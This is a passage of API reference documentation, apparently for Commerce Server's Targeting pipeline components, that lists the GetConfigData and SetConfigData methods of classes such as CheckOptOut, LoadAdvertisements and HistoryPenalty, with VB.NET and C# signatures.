This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.)

See Also

AdvertisingNeedsOfDelivery Class


AdvertisingNeedsOfDelivery.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.)

See Also

AdvertisingNeedsOfDelivery Class


CheckOptOut Class (PIA)

Provides a user interface to the configuration data for the CheckOptOut object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


CheckOptOut Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


CheckOptOut.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

CheckOptOut Class


CheckOptOut.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

CheckOptOut Class


ComposeDMLMessage Class (PIA)

Provides a user interface to the configuration data for the ComposeDMLMessage object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


ComposeDMLMessage Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


ComposeDMLMessage.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

ComposeDMLMessage Class


ComposeDMLMessage.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

ComposeDMLMessage Class


CreateUPMCookie Class (PIA)

Provides a user interface to the configuration data for the CreateUPMCookie object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


CreateUPMCookie Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


CreateUPMCookie.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();
[Visual Basic .NET]

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

CreateUPMCookie Class


CreateUPMCookie.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

CreateUPMCookie Class


EvalTargetsGroup Class (PIA)

Provides a user interface to the configuration data for the EvalTargetsGroup object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


EvalTargetsGroup Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


EvalTargetsGroup.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

EvalTargetsGroup Class


EvalTargetsGroup.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

EvalTargetsGroup Class


FilterContent Class (PIA)

Provides a user interface to the configuration data for the FilterContent object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


FilterContent Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


FilterContent.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

FilterContent Class


FilterContent.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

FilterContent Class


FormatTemplate Class (PIA)

Provides a user interface to the configuration data for the FormatTemplate object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


FormatTemplate Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


FormatTemplate.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

FormatTemplate Class


FormatTemplate.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

FormatTemplate Class


HistoryPenalty Class (PIA)

Provides a user interface to the configuration data for the HistoryPenalty object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in csfcomplib.dll)


HistoryPenalty Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


HistoryPenalty.GetConfigData Method (PIA)

Use this method to return a Dictionary object from which the user interface can read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in csfcomplib.dll)

See Also

HistoryPenalty Class


HistoryPenalty.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the Object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in csfcomplib.dll)

See Also

HistoryPenalty Class


IISAppendToLog Class (PIA)

Provides a user interface to the configuration data for the IISAppendToLog object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


IISAppendToLog Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


IISAppendToLog.GetConfigData Method (PIA)

Use this method to return a Dictionary object from which the user interface can read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

IISAppendToLog Class


IISAppendToLog.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the Object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

IISAppendToLog Class


LoadAdvertisements Class (PIA)

Provides a user interface for the configuration data for the LoadAdvertisements object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LoadAdvertisements Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LoadAdvertisements.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadAdvertisements Class


LoadAdvertisements.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadAdvertisements Class


LoadCampaignsCommon Class (PIA)

Provides a user interface for the configuration data for the LoadCampaignsCommon object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LoadCampaignsCommon Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LoadCampaignsCommon.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadCampaignsCommon Class


LoadCampaignsCommon.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadCampaignsCommon Class


LoadDiscounts Class (PIA)

Provides a user interface for the configuration data for the LoadDiscounts object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LoadDiscounts Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LoadDiscounts.GetConfigData (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadDiscounts Class


LoadDiscounts.SetConfigData (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadDiscounts Class


LoadHistory Class (PIA)

Provides a user interface for the configuration data for the LoadHistory object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LoadHistory Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LoadHistory.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadHistory Class


LoadHistory.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadHistory Class


LRUCacheFlush Class (PIA)

Provides a user interface to the configuration data for the LRUCacheFlush object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LRUCacheFlush Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LRUCacheFlush.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

[Visual Basic .NET]

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

See Also

LRUCacheFlush Class


LRUCacheFlush.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

See Also

LRUCacheFlush Class


RecordEvent Class (PIA)

Provides a user interface for the configuration data for the RecordEvent object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

